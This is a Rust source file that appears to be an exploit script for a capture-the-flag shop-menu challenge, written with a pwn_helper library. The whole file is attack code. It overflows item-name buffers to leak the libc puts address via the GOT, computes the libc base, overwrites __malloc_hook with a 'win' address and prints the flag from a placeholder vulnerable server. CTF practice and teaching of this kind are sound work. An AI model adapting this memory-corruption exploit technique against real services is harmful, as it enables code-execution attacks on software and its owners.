ficticious/
ficticious.rs

1use std::net::TcpStream;
2
3use pwn_helper::{
4    bytes::{bytes, concat_bytes, ljust},
5    io::{PwnIoRead, PwnIoWrite},
6    numbers::{decimal, p64, u64},
7};
8
9const WIN_ADDR: u64 = 0x69420;
10const GOT_PUTS_ADDR: u64 = 0x92c08;
11const DYN_LIBC_PUTS_ADDR: u64 = 0x666c0;
12const DYN_LIBC_MALLOC_HOOK_ADDR: u64 = 0x396650;
13
14fn buy_item(remote: &mut TcpStream, item_index: u8) {
15    remote.receive_until(b"> ", false).unwrap();
16    remote.send_line(b"buy").unwrap();
17    remote.receive_until(b": ", false).unwrap();
18    remote.send_line(decimal(item_index).as_bytes()).unwrap();
19}
20
21fn rename_item(remote: &mut TcpStream, old_name: &[u8], new_name: &[u8]) {
22    remote.receive_until(b"> ", false).unwrap();
23    remote.send_line(b"rename").unwrap();
24    remote.receive_until(b": ", false).unwrap();
25    remote.send_line(old_name).unwrap();
26    remote.receive_until(b": ", false).unwrap();
27    remote.send_line(new_name).unwrap();
28}
29
30fn list_items(remote: &mut TcpStream) -> Vec<Vec<u8>> {
31    remote.receive_until(b"> ", false).unwrap();
32    remote.send_line(b"list").unwrap();
33    remote.receive_until(b":\n", false).unwrap();
34    let mut line = remote.receive_line(true).unwrap();
35    let mut out = Vec::new();
36
37    while line.starts_with(b"Item: ") {
38        out.push(line[6..].to_owned());
39        line = remote.receive_line(false).unwrap();
40    }
41
42    out
43}
44
45fn main() {
46    let mut remote = TcpStream::connect("some.vulnerable.server:42069").unwrap();
47
48    buy_item(&mut remote, 1);
49    buy_item(&mut remote, 3);
50
51    rename_item(&mut remote, b"Sword", bytes!(b'A' * 0x29));
52    rename_item(
53        &mut remote,
54        b"AAAA",
55        &concat_bytes(
56            bytes!(b'A' * 0x20),
57            &p64(GOT_PUTS_ADDR, pwn_helper::Endianness::Little),
58        ),
59    );
60
61    let names = list_items(&mut remote);
62
63    let libc_puts_addr = u64(&ljust(&names[1], 0, 8), pwn_helper::Endianness::Little);
64    let libc_base = libc_puts_addr - DYN_LIBC_PUTS_ADDR;
65    log::info!("Libc Base: {:#x}", libc_base);
66
67    let libc_malloc_hook_addr = libc_base + DYN_LIBC_MALLOC_HOOK_ADDR;
68    rename_item(&mut remote, &names[0], b"AA");
69    rename_item(&mut remote, b"AA", bytes!(b'A' * 0x29));
70    rename_item(
71        &mut remote,
72        b"A",
73        &concat_bytes(
74            bytes!(b'A' * 0x20),
75            &p64(libc_malloc_hook_addr, pwn_helper::Endianness::Little),
76        ),
77    );
78
79    // Malloc hook will currently be a NULL ptr
80    rename_item(
81        &mut remote,
82        b"",
83        &p64(WIN_ADDR, pwn_helper::Endianness::Little),
84    );
85    remote.receive_until(b"> ", false).unwrap();
86
87    let flag = String::from_utf8(remote.receive_until(b"}", false).unwrap()).unwrap();
88    println!("Flag: {}", flag);
89}